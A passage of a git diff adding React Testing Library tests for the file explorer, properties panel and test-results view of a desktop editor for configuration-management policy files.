expect(within(folder).getByText('Nginx.cf')).toBeInTheDocument(); + }); + + it('reveals the current file inside a collapsed folder', async () => { + const folderId = addFolder(store, 'Servers'); + addFile(store, 'Nginx', folderId); + renderExplorer(store); + expect(await screen.findByText('Nginx.cf')).toBeInTheDocument(); + }); + + it('selects a file on click', () => { + renderExplorer(store); + fireEvent.click(screen.getByText('Web.cf')); + expect(store.getState().files.currentFileId).toBe(webId); + }); + + it('shows the description as a tooltip on hover', async () => { + store.dispatch(fileDescriptionChanged({ fileId: webId, description: 'Serves the site' })); + renderExplorer(store); + fireEvent.mouseOver(screen.getByText('Web.cf')); + expect(await screen.findByRole('tooltip')).toHaveTextContent('Serves the site'); + }); + + it('marks a gated file with its condition', () => { + store.dispatch(fileConditionEnabled({ fileId: webId })); + store.dispatch(fileConditionModeChanged({ fileId: webId, mode: 'unless' })); + store.dispatch(fileConditionClassNameChanged({ fileId: webId, className: 'windows' })); + renderExplorer(store); + expect(screen.getByTitle('The whole file skipped if windows')).toHaveTextContent('windows'); + expect(within(screen.getByRole('treeitem', { name: /Main\.cf/ })).queryByTitle(/The whole file/)).not.toBeInTheDocument(); + }); + + it('shows no marker for a condition without a class yet', () => { + store.dispatch(fileConditionEnabled({ fileId: webId })); + renderExplorer(store); + expect(screen.queryByTitle(/The whole file/)).not.toBeInTheDocument(); + }); + }); + + describe('rename', () => { + it('renames a file on double-click and Enter', () => { + renderExplorer(store); + fireEvent.doubleClick(screen.getByText('Web.cf')); + expect(nameField()).toHaveValue('Web'); + fireEvent.change(nameField(), { target: { value: 'Frontend' } }); + fireEvent.keyDown(nameField(), { key: 'Enter' }); + expect(fileOf(store, webId)?.name).toBe('Frontend'); + expect(screen.getByText('Frontend.cf')).toBeInTheDocument(); + }); + + it('renames from the row action, committing on blur', () => { + renderExplorer(store); + fireEvent.click(screen.getByRole('button', { name: 'Rename Web.cf' })); + fireEvent.change(nameField(), { target: { value: 'Api' } }); + fireEvent.blur(nameField()); + expect(fileOf(store, webId)?.name).toBe('Api'); + }); + + it('keeps the old name on Escape', () => { + renderExplorer(store); + fireEvent.doubleClick(screen.getByText('Web.cf')); + fireEvent.change(nameField(), { target: { value: 'Discarded' } }); + fireEvent.keyDown(nameField(), { key: 'Escape' }); + expect(screen.queryByRole('textbox')).not.toBeInTheDocument(); + expect(fileOf(store, webId)?.name).toBe('Web'); + }); + + it('ignores a blank name', () => { + renderExplorer(store); + fireEvent.doubleClick(screen.getByText('Web.cf')); + fireEvent.change(nameField(), { target: { value: ' ' } }); + fireEvent.keyDown(nameField(), { key: 'Enter' }); + expect(fileOf(store, webId)?.name).toBe('Web'); + }); + + it('strips path separators and dots from a name', () => { + renderExplorer(store); + fireEvent.doubleClick(screen.getByText('Web.cf')); + fireEvent.change(nameField(), { target: { value: 'a/b.c' } }); + fireEvent.keyDown(nameField(), { key: 'Enter' }); + expect(fileOf(store, webId)?.name).toBe('abc'); + }); + + it('keeps sibling names unique', () => { + renderExplorer(store); + fireEvent.doubleClick(screen.getByText('Web.cf')); + fireEvent.change(nameField(), { target: { value: 'main' } }); + fireEvent.keyDown(nameField(), { key: 'Enter' }); + expect(fileOf(store, webId)?.name).toBe('main 2'); + }); + + it('renames a folder', () => { + const folderId = addFolder(store, 'Servers'); + renderExplorer(store); + fireEvent.doubleClick(screen.getByText('Servers')); + fireEvent.change(nameField(), { target: { value: 'Hosts' } }); + fireEvent.keyDown(nameField(), { key: 'Enter' }); + expect(store.getState().files.folders.find(folder => folder.id === folderId)?.name).toBe('Hosts'); + }); + + it('renames from the context menu', () => { + renderExplorer(store); + fireEvent.contextMenu(screen.getByText('Web.cf')); + fireEvent.click(screen.getByRole('menuitem', { name: 'Rename' })); + expect(nameField()).toHaveValue('Web'); + }); + }); + + describe('delete', () => { + it('deletes a file and its blocks after confirming', () => { + addBlock(store, webId); + renderExplorer(store); + fireEvent.click(screen.getByRole('button', { name: 'Delete Web.cf' })); + const dialog = screen.getByRole('dialog', { name: 'Delete policy file' }); + expect(dialog).toHaveTextContent('"Web.cf" and its 1 block(s) will be removed.'); + fireEvent.click(within(dialog).getByRole('button', { name: 'Delete' })); + expect(fileNames(store)).toEqual(['Main']); + expect(store.getState().canvas).toEqual([]); + }); + + it('keeps the file when cancelled', () => { + renderExplorer(store); + fireEvent.click(screen.getByRole('button', { name: 'Delete Web.cf' })); + fireEvent.click(within(screen.getByRole('dialog')).getByRole('button', { name: 'Cancel' })); + expect(fileNames(store)).toEqual(['Main', 'Web']); + }); + + it('cannot delete the last file', () => { + store.dispatch(fileRemoved({ fileId: webId })); + renderExplorer(store); + expect(screen.getByRole('button', { name: 'Delete Main.cf' })).toBeDisabled(); + fireEvent.contextMenu(screen.getByText('Main.cf')); + expect(screen.getByRole('menuitem', { name: 'Delete' })).toHaveAttribute('aria-disabled', 'true'); + }); + + it('cannot delete a folder holding every file', () => { + const folderId = addFolder(store, 'All'); + store.dispatch(fileRemoved({ fileId: webId })); + store.dispatch(fileRemoved({ fileId: mainId })); + addFile(store, 'Only', folderId); + renderExplorer(store); + expect(screen.getByRole('button', { name: 'Delete All' })).toBeDisabled(); + }); + + it('deletes a folder with its files', () => { + const folderId = addFolder(store, 'Servers'); + const nginxId = addFile(store, 'Nginx', folderId); + addBlock(store, nginxId); + store.dispatch(fileSelected({ fileId: mainId })); + renderExplorer(store); + fireEvent.click(screen.getByRole('button', { name: 'Delete Servers' })); + const dialog = screen.getByRole('dialog', { name: 'Delete folder' }); + expect(dialog).toHaveTextContent('"Servers" and its 1 file(s) (1 total block(s))'); + fireEvent.click(within(dialog).getByRole('button', { name: 'Delete' })); + expect(store.getState().files.folders).toEqual([]); + expect(fileNames(store)).toEqual(['Main', 'Web']); + expect(store.getState().canvas).toEqual([]); + }); + }); + + describe('create', () => { + it('adds a file from the toolbar', () => { + renderExplorer(store); + fireEvent.click(screen.getByTitle('New file')); + expect(nameField()).toHaveValue('New file'); + fireEvent.change(nameField(), { target: { value: 'Db' } }); + fireEvent.keyDown(nameField(), { key: 'Enter' }); + expect(fileNames(store)).toEqual(['Main', 'Web', 'Db']); + expect(screen.getByText('Db.cf')).toBeInTheDocument(); + }); + + it('adds a folder from the toolbar', () => { + renderExplorer(store); + fireEvent.click(screen.getByTitle('New folder')); + expect(nameField()).toHaveValue('New folder'); + fireEvent.blur(nameField()); + expect(store.getState().files.folders.map(folder => folder.name)).toEqual(['New folder']); + }); + + it('discards a draft on Escape', () => { + renderExplorer(store); + fireEvent.click(screen.getByTitle('New file')); + fireEvent.keyDown(nameField(), { key: 'Escape' }); + expect(screen.queryByRole('textbox')).not.toBeInTheDocument(); + expect(fileNames(store)).toHaveLength(2); + }); + + it('adds a file inside a folder from its context menu', () => { + const folderId = addFolder(store, 'Servers'); + renderExplorer(store); + fireEvent.contextMenu(screen.getByText('Servers')); + fireEvent.click(screen.getByRole('menuitem', { name: 'New File' })); + fireEvent.change(nameField(), { target: { value: 'Nginx' } }); + fireEvent.keyDown(nameField(), { key: 'Enter' }); + expect(store.getState().files.files.find(file => file.name === 'Nginx')?.parentId).toBe(folderId); + }); + + it('gives a duplicate new file a unique name', () => { + renderExplorer(store); + fireEvent.click(screen.getByTitle('New file')); + fireEvent.change(nameField(), { target: { value: 'Web' } }); + fireEvent.keyDown(nameField(), { key: 'Enter' }); + expect(fileNames(store)).toContain('Web 2'); + }); + }); +}); diff --git a/src/renderer/src/components/PropertiesPanel.test.tsx b/src/renderer/src/components/PropertiesPanel.test.tsx new file mode 100644 index 0000000..78885d5 --- /dev/null +++ b/src/renderer/src/components/PropertiesPanel.test.tsx @@ -0,0 +1,529 @@ +import { fireEvent, screen, within } from '@testing-library/react'; + +import { newDefinitionEntry } from '../blocks/definitionEntries'; +import { blockDescriptorsById } from '../blocks/loadBlocks'; +import { useAppDispatch, useAppSelector } from '../store'; +import { + blockLabelChanged, + blockParamChanged, + blockValueSourceChanged, + classRefAdded, + classRefChanged, + classRefRemoved, + conditionClassNameChanged, + conditionEnabled, + conditionModeChanged, + conditionRemoved, + decoratorAdded, + decoratorMoved, + decoratorParamChanged, + decoratorRemoved, + entryAdded, + entryMoved, + entryRemoved, + inventoryAttributeNameChanged, + inventoryEnabled, + inventoryRemoved, + paramBound, + paramUnbound +} from '../store/canvasSlice'; +import type { BlockInstance, DefinitionEntry } from '../store/canvasSlice/types'; +import { fileConditionClassNameChanged, fileConditionEnabled, fileSelected } from '../store/filesSlice'; +import { type TestStore, addBlock, addFile, blockOf, makeStore } from '../store/test/storeTestUtils'; +import { renderWithProviders } from '../test/render'; +import { type IncomingArrow, PropertiesPanel } from './PropertiesPanel'; + +interface HarnessProps { + arrows?: IncomingArrow[]; + instanceId: string; + onArrowRemove?: (edgeId: string) => void; + onConvertToData?: () => void; + onIncomingModeChange?: (mode: 'all' | 'any') => void; +} + +// Wired to the store the way ProjectView wires it (the gate-pill mode move left out). +function ConnectedPanel({ instanceId, arrows = [], onArrowRemove = vi.fn(), onConvertToData, onIncomingModeChange = vi.fn() }: HarnessProps) { + const dispatch = useAppDispatch(); + const allInstances = useAppSelector(state => state.canvas); + const { files, currentFileId } = useAppSelector(state => state.files); + const instance = allInstances.find(item => item.instanceId === instanceId); + const descriptor = instance && blockDescriptorsById.get(instance.blockId); + return ( + Nothing selected

    } + onConvertToData={onConvertToData} + onIncomingModeChange={onIncomingModeChange} + onArrowOutcomesChange={vi.fn()} + onArrowRemove={onArrowRemove} + onLabelChange={label => dispatch(blockLabelChanged({ instanceId, label }))} + onParamChange={(paramName, value, entryId) => dispatch(blockParamChanged({ instanceId, entryId, paramName, value }))} + onValueSourceChange={(valueSourceId, entryId) => dispatch(blockValueSourceChanged({ instanceId, entryId, valueSourceId }))} + onBindParam={(param, valueSourceId) => dispatch(paramBound({ instanceId, param, binding: { valueSourceId, params: {}, decorators: [] } }))} + onUnbindParam={param => dispatch(paramUnbound({ instanceId, param }))} + onEntryAdd={() => { + const entry = newDefinitionEntry(descriptor!); + dispatch(entryAdded({ instanceId, entry })); + return entry.id; + }} + onEntryRemove={entryId => dispatch(entryRemoved({ instanceId, entryId }))} + onEntryMove={(fromIndex, toIndex) => dispatch(entryMoved({ instanceId, fromIndex, toIndex }))} + onDecoratorAdd={(decoratorId, entryId) => dispatch(decoratorAdded(instanceId, decoratorId, entryId))} + onDecoratorRemove={(decoratorInstanceId, entryId) => dispatch(decoratorRemoved({ instanceId, entryId, decoratorInstanceId }))} + onDecoratorParamChange={(decoratorInstanceId, paramName, value, entryId) => + dispatch(decoratorParamChanged({ instanceId, entryId, decoratorInstanceId, paramName, value })) + } + onDecoratorMove={(fromIndex, toIndex, entryId) => dispatch(decoratorMoved({ instanceId, entryId, fromIndex, toIndex }))} + onClassRefAdd={entryId => dispatch(classRefAdded(instanceId, entryId))} + onClassRefRemove={(classRefId, entryId) => dispatch(classRefRemoved({ instanceId, entryId, classRefId }))} + onClassRefChange={(classRefId, patch, entryId) => dispatch(classRefChanged({ instanceId, entryId, classRefId, ...patch }))} + onConditionEnable={entryId => dispatch(conditionEnabled({ instanceId, entryId }))} + onConditionRemove={entryId => dispatch(conditionRemoved({ instanceId, entryId }))} + onConditionModeChange={(mode, entryId) => dispatch(conditionModeChanged({ instanceId, entryId, mode }))} + onConditionClassNameChange={(className, entryId) => dispatch(conditionClassNameChanged({ instanceId, entryId, className }))} + onConditionCreateClass={vi.fn()} + onCreateClass={vi.fn()} + onInventoryEnable={entryId => dispatch(inventoryEnabled({ instanceId, entryId }))} + onInventoryRemove={entryId => dispatch(inventoryRemoved({ instanceId, entryId }))} + onInventoryAttributeNameChange={(attributeName, entryId) => dispatch(inventoryAttributeNameChanged({ instanceId, entryId, attributeName }))} + /> + ); +} + +const renderPanel = (store: TestStore, props: HarnessProps) => renderWithProviders(, { store }); + +const descriptorOf = (blockId: string) => blockDescriptorsById.get(blockId)!; + +const entry = (blockId: string, overrides: Partial>) => newDefinitionEntry(descriptorOf(blockId), overrides); + +const addDefinitions = (store: TestStore, fileId: string, blockId: 'define-class' | 'define-variable', entries: DefinitionEntry[], label = 'Definitions') => + addBlock(store, fileId, { blockId, label, params: {}, entries }); + +const variable = (name: string, overrides: Partial> = {}) => + entry('define-variable', { ...overrides, params: { variable_name: name, value: 'x', ...overrides.params } }); + +const entriesOf = (store: TestStore, instanceId: string) => blockOf(store, instanceId)?.entries ?? []; + +const firstEntry = (store: TestStore, instanceId: string) => entriesOf(store, instanceId)[0]; + +// Opens an MUI select by its label and picks an option. +function choose(label: string, option: string | RegExp) { + fireEvent.mouseDown(screen.getByRole('combobox', { name: label })); + fireEvent.click(within(screen.getByRole('listbox')).getByRole('option', { name: option })); +} + +const expandSection = (name: RegExp) => fireEvent.click(screen.getByRole('button', { name })); + +describe('PropertiesPanel', () => { + let store: TestStore; + let fileId: string; + + beforeEach(() => { + store = makeStore(); + fileId = addFile(store, 'Main'); + }); + + it('shows the empty state without a block', () => { + renderPanel(store, { instanceId: 'missing' }); + expect(screen.getByText('Nothing selected')).toBeInTheDocument(); + }); + + describe('a plain block', () => { + const add = (blockId: string, params: Record = {}, extra: Partial> = {}) => + addBlock(store, fileId, { blockId, label: descriptorOf(blockId).name, params, ...extra }); + + it('edits the label', () => { + const id = add('report-message', { message: 'hi' }); + renderPanel(store, { instanceId: id }); + fireEvent.change(screen.getByRole('textbox', { name: 'Label' }), { target: { value: 'Say hello' } }); + expect(blockOf(store, id)?.label).toBe('Say hello'); + }); + + it('edits a text param', () => { + const id = add('manage-service', { service_name: '', action: 'start' }); + renderPanel(store, { instanceId: id }); + fireEvent.change(screen.getByRole('textbox', { name: 'Service name' }), { target: { value: 'nginx' } }); + expect(blockOf(store, id)?.params.service_name).toBe('nginx'); + }); + + it('picks a select param, showing the option help', () => { + const id = add('manage-service', { service_name: 'nginx', action: 'start' }); + renderPanel(store, { instanceId: id }); + choose('Action', 'Restart'); + expect(blockOf(store, id)?.params.action).toBe('restart'); + expect(screen.getByText(/Restarts it every time this block runs/)).toBeInTheDocument(); + }); + + it('labels an empty-valued option', () => { + const id = add('report-message', { message: 'hi', run_interval: '' }); + renderPanel(store, { instanceId: id }); + expect(screen.getByRole('combobox', { name: 'How often' })).toHaveTextContent('Every agent run'); + }); + + it('flags a relative path', () => { + const id = add('report-message', { message: 'hi', report_to_file: '' }); + renderPanel(store, { instanceId: id }); + const field = screen.getByRole('textbox', { name: 'Report to file' }); + fireEvent.change(field, { target: { value: 'log.txt' } }); + expect(field).toHaveAttribute('aria-invalid', 'true'); + expect(screen.getByText('Must be an absolute path (start with /).')).toBeInTheDocument(); + fireEvent.change(field, { target: { value: '/var/log/x' } }); + expect(field).toHaveAttribute('aria-invalid', 'false'); + }); + + it('flags each relative path of a list', () => { + const id = add('remove-file', { path: '/tmp/a\nb\nc' }); + renderPanel(store, { instanceId: id }); + expect(screen.getByText('Not an absolute path: b, c')).toBeInTheDocument(); + }); + + it('checks a number against its minimum and rejects non-digits', () => { + const id = add('clean-up-old-files', { directory: '/tmp', days: '7', depth: 'inf' }); + renderPanel(store, { instanceId: id }); + const days = screen.getByRole('textbox', { name: 'Older than (days)' }); + fireEvent.change(days, { target: { value: '0' } }); + expect(screen.getByText('Must be at least 1.')).toBeInTheDocument(); + fireEvent.change(days, { target: { value: '-3' } }); + fireEvent.change(days, { target: { value: '1x' } }); + expect(blockOf(store, id)?.params.days).toBe('0'); + }); + + it('opens the editor for a list field', () => { + const id = add('install-package', { package_name: 'nginx' }); + renderPanel(store, { instanceId: id }); + const field = screen.getByRole('textbox', { name: 'Package name' }); + expect(field).toHaveAttribute('readonly'); + fireEvent.click(field); + expect(screen.getByRole('dialog')).toHaveTextContent('Package name'); + }); + + it('binds a param to data and back', () => { + const id = add('report-message', { message: 'hi' }); + renderPanel(store, { instanceId: id }); + fireEvent.click(screen.getByRole('button', { name: /compute Message from data/ })); + fireEvent.click(screen.getByRole('menuitem', { name: /Command output/ })); + expect(blockOf(store, id)?.paramBindings?.message?.valueSourceId).toBe('command-output'); + expect(screen.getByText('Message — from data')).toBeInTheDocument(); + + fireEvent.click(screen.getByRole('button', { name: 'Type it instead' })); + expect(blockOf(store, id)?.paramBindings).toEqual({}); + }); + + it('offers turning Run Command into data', () => { + const id = add('run-command', { command: 'ls' }); + const onConvertToData = vi.fn(); + renderPanel(store, { instanceId: id, onConvertToData }); + fireEvent.click(screen.getByRole('button', { name: 'Use its output as data' })); + expect(onConvertToData).toHaveBeenCalled(); + }); + + it('lists incoming arrows', () => { + const id = add('report-message', { message: 'hi' }); + const onArrowRemove = vi.fn(); + const onIncomingModeChange = vi.fn(); + const arrows: IncomingArrow[] = [ + { edgeId: 'e1', outcomes: ['kept'], sourceLabel: 'Install nginx', sourceOrder: 1 }, + { edgeId: 'e2', outcomes: ['repaired'], sourceLabel: 'Write config' } + ]; + renderPanel(store, { instanceId: id, arrows, onArrowRemove, onIncomingModeChange }); + expect(screen.getByText('Install nginx')).toBeInTheDocument(); + fireEvent.click(screen.getByRole('button', { name: 'Any of these' })); + expect(onIncomingModeChange).toHaveBeenCalledWith('any'); + fireEvent.click(screen.getAllByTitle('Remove arrow')[1]); + expect(onArrowRemove).toHaveBeenCalledWith('e2'); + }); + + describe('condition', () => { + const withCondition = () => add('report-message', { message: 'hi' }, { condition: { kind: 'class', mode: 'if', className: '' } }); + + it('adds a condition', () => { + const id = add('report-message', { message: 'hi' }); + renderPanel(store, { instanceId: id }); + expandSection(/^Condition \(0\)/); + fireEvent.click(screen.getByRole('button', { name: 'Add condition' })); + expect(blockOf(store, id)?.condition).toEqual({ kind: 'class', mode: 'if', className: '' }); + }); + + it('types a class name, keeping only class characters', () => { + const id = withCondition(); + renderPanel(store, { instanceId: id }); + fireEvent.change(screen.getByPlaceholderText('Search class names…'), { target: { value: 'debian-12' } }); + expect(blockOf(store, id)?.condition?.className).toBe('debian12'); + }); + + it('switches between if and unless', () => { + const id = withCondition(); + renderPanel(store, { instanceId: id }); + choose('Mode', 'Skip if'); + expect(blockOf(store, id)?.condition?.mode).toBe('unless'); + }); + + it('removes a condition', () => { + const id = withCondition(); + renderPanel(store, { instanceId: id }); + fireEvent.click(screen.getByRole('button', { name: 'Remove condition' })); + expect(blockOf(store, id)?.condition).toBeUndefined(); + }); + + it('offers classes from this file, other files and hard classes', () => { + const otherId = addFile(store, 'Detect'); + store.dispatch(fileConditionEnabled({ fileId: otherId })); + store.dispatch(fileConditionClassNameChanged({ fileId: otherId, className: 'linux' })); + addDefinitions(store, otherId, 'define-class', [entry('define-class', { params: { class_name: 'is_web' } })]); + addDefinitions(store, fileId, 'define-class', [entry('define-class', { params: { class_name: 'is_local' } })]); + store.dispatch(fileSelected({ fileId })); + const id = add('report-message', { message: 'hi' }, { condition: { kind: 'class', mode: 'if', className: '' } }); + renderPanel(store, { instanceId: id }); + + fireEvent.mouseDown(screen.getByPlaceholderText('Search class names…')); + const listbox = screen.getByRole('listbox'); + expect(within(listbox).getByText('Defined in this file')).toBeInTheDocument(); + expect(within(listbox).getByText('Defined in Detect · runs only if linux')).toBeInTheDocument(); + expect(within(listbox).getByText('Hard classes')).toBeInTheDocument(); + fireEvent.click(within(listbox).getByText('is_web')); + expect(blockOf(store, id)?.condition?.className).toBe('is_web'); + }); + + it('notes a condition the file already requires', () => { + store.dispatch(fileConditionEnabled({ fileId })); + store.dispatch(fileConditionClassNameChanged({ fileId, className: 'linux' })); + const id = add('report-message', { message: 'hi' }, { condition: { kind: 'class', mode: 'if', className: 'linux' } }); + renderPanel(store, { instanceId: id }); + expect(screen.getByText('Already required by the file’s condition.')).toBeInTheDocument(); + fireEvent.click(screen.getByRole('button', { name: 'Remove' })); + expect(blockOf(store, id)?.condition).toBeUndefined(); + }); + + it('warns about a condition opposite to the file’s', () => { + store.dispatch(fileConditionEnabled({ fileId })); + store.dispatch(fileConditionClassNameChanged({ fileId, className: 'linux' })); + const id = add('report-message', { message: 'hi' }, { condition: { kind: 'class', mode: 'unless', className: 'linux' } }); + renderPanel(store, { instanceId: id }); + expect(screen.getByText('The file’s condition is the opposite, so this never runs.')).toBeInTheDocument(); + }); + }); + }); + + describe('Define Variable with one entry', () => { + let id: string; + + // Transforms apply to a computed value, not a typed-in one. + const toCommandOutput = () => + store.dispatch(blockValueSourceChanged({ instanceId: id, entryId: firstEntry(store, id).id, valueSourceId: 'command-output' })); + + beforeEach(() => { + id = addDefinitions(store, fileId, 'define-variable', [variable('greeting')]); + }); + + it('filters the variable name to allowed characters', () => { + renderPanel(store, { instanceId: id }); + fireEvent.change(screen.getByRole('textbox', { name: 'Variable name' }), { target: { value: 'my-var!' } }); + expect(firstEntry(store, id).params.variable_name).toBe('myvar'); + }); + + it('switches the value source', () => { + renderPanel(store, { instanceId: id }); + choose('Value source', /Command output/); + expect(firstEntry(store, id).valueSourceId).toBe('command-output'); + fireEvent.change(screen.getByRole('textbox', { name: 'Command' }), { target: { value: '/bin/date' } }); + expect(firstEntry(store, id).params.command).toBe('/bin/date'); + }); + + const addStep = (label: RegExp) => { + fireEvent.click(screen.getByRole('button', { name: 'Add transform' })); + fireEvent.click(screen.getByRole('menuitem', { name: label })); + }; + const steps = () => firstEntry(store, id).decorators?.map(step => step.decoratorId); + const withSteps = (...decoratorIds: string[]) => { + toCommandOutput(); + for (const decoratorId of decoratorIds) store.dispatch(decoratorAdded(id, decoratorId, firstEntry(store, id).id)); + }; + + it('adds transforms that fit the chain', () => { + toCommandOutput(); + renderPanel(store, { instanceId: id }); + expandSection(/^Data transformation \(0\)/); + fireEvent.click(screen.getByRole('button', { name: 'Add transform' })); + // A string chain can't take list transforms yet. + expect(screen.getByRole('menuitem', { name: /Sort/ })).toHaveAttribute('aria-disabled', 'true'); + fireEvent.click(screen.getByRole('menuitem', { name: /Uppercase/ })); + addStep(/Split into a list/); + expect(steps()).toEqual(['string-upcase', 'split-list']); + expect(screen.getByText('Result: list')).toBeInTheDocument(); + }); + + it('edits a step parameter', () => { + withSteps('split-list'); + renderPanel(store, { instanceId: id }); + fireEvent.change(screen.getByRole('textbox', { name: 'Split on (regex)' }), { target: { value: ',' } }); + expect(firstEntry(store, id).decorators?.[0].params.delimiter).toBe(','); + }); + + it('reorders and removes steps', () => { + withSteps('string-upcase', 'split-list'); + renderPanel(store, { instanceId: id }); + expect(screen.getAllByRole('button', { name: 'Move step up' })[0]).toBeDisabled(); + fireEvent.click(screen.getAllByRole('button', { name: 'Move step up' })[1]); + expect(steps()).toEqual(['split-list', 'string-upcase']); + + fireEvent.click(screen.getAllByRole('button', { name: 'Remove step' })[0]); + expect(steps()).toEqual(['string-upcase']); + expect(screen.getByText('Result: string')).toBeInTheDocument(); + }); + + it('searches transforms', () => { + toCommandOutput(); + renderPanel(store, { instanceId: id }); + expandSection(/^Data transformation/); + fireEvent.click(screen.getByRole('button', { name: 'Add transform' })); + fireEvent.change(screen.getByPlaceholderText('Search transforms…'), { target: { value: 'trim' } }); + const items = screen.getAllByRole('menuitem'); + expect(items).toHaveLength(1); + expect(items[0]).toHaveTextContent('Trim whitespace'); + }); + + it('previews a chain', () => { + withSteps('string-upcase'); + renderPanel(store, { instanceId: id }); + fireEvent.click(screen.getByRole('button', { name: 'Preview' })); + expect(screen.getByRole('dialog')).toBeInTheDocument(); + }); + + it('offers transforms only for a computed value', () => { + renderPanel(store, { instanceId: id }); + expect(screen.queryByRole('button', { name: /Data transformation/ })).not.toBeInTheDocument(); + choose('Value source', /File content/); + expect(screen.getByRole('button', { name: 'Data transformation (0)' })).toBeInTheDocument(); + choose('Value source', /Structured data \(JSON\)/); + expect(screen.queryByRole('button', { name: /Data transformation/ })).not.toBeInTheDocument(); + }); + + it('tags the variable for inventory', () => { + renderPanel(store, { instanceId: id }); + expandSection(/^Inventory/); + fireEvent.click(screen.getByRole('switch', { name: 'Report variable' })); + expect(firstEntry(store, id).inventory).toEqual({ attributeName: '' }); + + fireEvent.change(screen.getByRole('textbox', { name: 'Attribute name' }), { target: { value: 'Owner' } }); + expect(firstEntry(store, id).inventory).toEqual({ attributeName: 'Owner' }); + + fireEvent.click(screen.getByRole('button', { name: 'Remove inventory tag' })); + expect(firstEntry(store, id).inventory).toBeUndefined(); + }); + + it('puts the block condition on the block, not the entry', () => { + renderPanel(store, { instanceId: id }); + expandSection(/^Condition \(0\)/); + fireEvent.click(screen.getByRole('button', { name: 'Add condition' })); + expect(blockOf(store, id)?.condition).toBeDefined(); + expect(firstEntry(store, id).condition).toBeUndefined(); + }); + + it('adds another variable and opens it', () => { + renderPanel(store, { instanceId: id }); + fireEvent.click(screen.getByRole('button', { name: 'Add another variable' })); + expect(entriesOf(store, id)).toHaveLength(2); + expect(screen.getByText('Variable 2 of 2')).toBeInTheDocument(); + }); + }); + + describe('Define Variable with several entries', () => { + let id: string; + const names = () => entriesOf(store, id).map(item => item.params.variable_name); + + beforeEach(() => { + id = addDefinitions(store, fileId, 'define-variable', [variable('a'), variable('b'), variable('c')], 'Vars'); + }); + + it('lists the entries', () => { + renderPanel(store, { instanceId: id }); + expect(screen.getByText('Variables (3)')).toBeInTheDocument(); + for (const name of ['a', 'b', 'c']) expect(screen.getByRole('button', { name: `Edit ${name}` })).toBeInTheDocument(); + }); + + it('reorders entries', () => { + renderPanel(store, { instanceId: id }); + expect(screen.getByRole('button', { name: 'Move a up' })).toBeDisabled(); + expect(screen.getByRole('button', { name: 'Move c down' })).toBeDisabled(); + fireEvent.click(screen.getByRole('button', { name: 'Move a down' })); + expect(names()).toEqual(['b', 'a', 'c']); + }); + + it('removes an entry from the list', () => { + renderPanel(store, { instanceId: id }); + fireEvent.click(screen.getByRole('button', { name: 'Remove b' })); + expect(names()).toEqual(['a', 'c']); + }); + + it('marks names used twice in the file', () => { + addDefinitions(store, fileId, 'define-variable', [variable('a')]); + renderPanel(store, { instanceId: id }); + expect(within(screen.getByRole('button', { name: 'Edit a' })).getByText('Name already used in this file')).toBeInTheDocument(); + }); + + it('steps through entries', () => { + renderPanel(store, { instanceId: id }); + fireEvent.click(screen.getByRole('button', { name: 'Edit a' })); + expect(screen.getByText('Variable 1 of 3')).toBeInTheDocument(); + expect(screen.getByRole('button', { name: 'Previous' })).toBeDisabled(); + fireEvent.click(screen.getByRole('button', { name: 'Next' })); + expect(screen.getByRole('textbox', { name: 'Variable name' })).toHaveValue('b'); + fireEvent.click(screen.getByRole('button', { name: 'Next' })); + // The last entry offers adding one instead of Next. + expect(screen.getByRole('button', { name: 'Add' })).toHaveAttribute('title', 'Add another variable'); + fireEvent.click(screen.getByTitle('Back to all variables')); + expect(screen.getByText('Variables (3)')).toBeInTheDocument(); + }); + + it('edits the open entry, warning on a taken name', () => { + renderPanel(store, { instanceId: id }); + fireEvent.click(screen.getByRole('button', { name: 'Edit b' })); + fireEvent.change(screen.getByRole('textbox', { name: 'Variable name' }), { target: { value: 'bee' } }); + expect(names()).toEqual(['a', 'bee', 'c']); + expect(screen.queryByText(/already uses this name/)).not.toBeInTheDocument(); + fireEvent.change(screen.getByRole('textbox', { name: 'Variable name' }), { target: { value: 'a' } }); + expect(screen.getByText(/Another variable in this file already uses this name/)).toBeInTheDocument(); + }); + + it('removes the open entry and returns to the list', () => { + renderPanel(store, { instanceId: id }); + fireEvent.click(screen.getByRole('button', { name: 'Edit c' })); + fireEvent.click(screen.getByRole('button', { name: 'Remove' })); + expect(names()).toEqual(['a', 'b']); + expect(screen.getByText('Variables (2)')).toBeInTheDocument(); + }); + + it('gates an open entry with its own condition', () => { + renderPanel(store, { instanceId: id }); + fireEvent.click(screen.getByRole('button', { name: 'Edit a' })); + expandSection(/^Condition \(0\)/); + fireEvent.click(screen.getByRole('button', { name: 'Add condition' })); + expect(firstEntry(store, id).condition).toBeDefined(); + expect(blockOf(store, id)?.condition).toBeUndefined(); + }); + + it('describes the block condition as covering every entry', () => { + renderPanel(store, { instanceId: id }); + expect(screen.getByText('Gates whether every variable in this block evaluates at all.')).toBeInTheDocument(); + }); + }); + + describe('Define Class combining classes', () => { + it('adds, negates and removes classes', () => { + const id = addDefinitions(store, fileId, 'define-class', [entry('define-class', { params: { class_name: 'both' }, valueSourceId: 'combine-and' })]); + renderPanel(store, { instanceId: id }); + fireEvent.click(screen.getByRole('button', { name: 'Add class' })); + fireEvent.change(screen.getByPlaceholderText('Class name'), { target: { value: 'linux' } }); + fireEvent.click(screen.getByRole('checkbox', { name: 'NOT' })); + expect(firstEntry(store, id).classRefs).toEqual([expect.objectContaining({ name: 'linux', negate: true })]); + + fireEvent.click(screen.getByRole('button', { name: 'Remove class' })); + expect(firstEntry(store, id).classRefs).toEqual([]); + }); + }); +}); diff --git a/src/renderer/src/components/TestResultsView.test.tsx b/src/renderer/src/components/TestResultsView.test.tsx new file mode 100644 index 0000000..e1c5d97 --- /dev/null +++ b/src/renderer/src/components/TestResultsView.test.tsx @@ -0,0 +1,271 @@ +import { act, fireEvent, screen, waitFor, within } from '@testing-library/react'; + +import type { TestEnvEvent, TestEnvRequest, TestProblem } from '../../../preload/api'; +import { newEnvironment } from '../store/testEnvironmentsSlice'; +import type { TestEnvironment } from '../store/testEnvironmentsSlice/types'; +import { installApi, renderWithProviders, uninstallApi } from '../test/render'; + +type Api = NonNullable; +type Store = typeof import('../store').store; + +let store: Store; +let View: typeof import('./TestResultsView').TestResultsView; +let api: Api; +let emit: (event: TestEnvEvent) => void; + +const environment: TestEnvironment = { + ...newEnvironment('Env', { id: 'h1', name: 'hub' }), + id: 'env', + hosts: [ + { id: 'h1', name: 'hub', platform: 'ubuntu-22', ports: [], env: {} }, + { id: 'h2', name: 'web', platform: 'ubuntu-22', ports: [{ host: 8080, container: 80 }], env: {} } + ] +}; + +const problem: TestProblem = { + block: 'b1', + bundle: 'main', + cause: [], + count: 1, 